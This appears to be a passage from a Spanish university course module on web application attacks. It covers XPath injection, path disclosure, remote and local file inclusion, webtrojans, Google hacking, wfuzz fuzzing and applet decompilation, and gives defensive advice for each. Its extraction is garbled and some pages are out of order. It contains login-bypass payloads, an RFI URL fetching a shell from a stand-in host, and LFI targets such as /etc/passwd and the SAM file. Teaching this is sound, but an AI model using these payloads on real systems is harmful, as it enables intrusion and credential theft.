realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
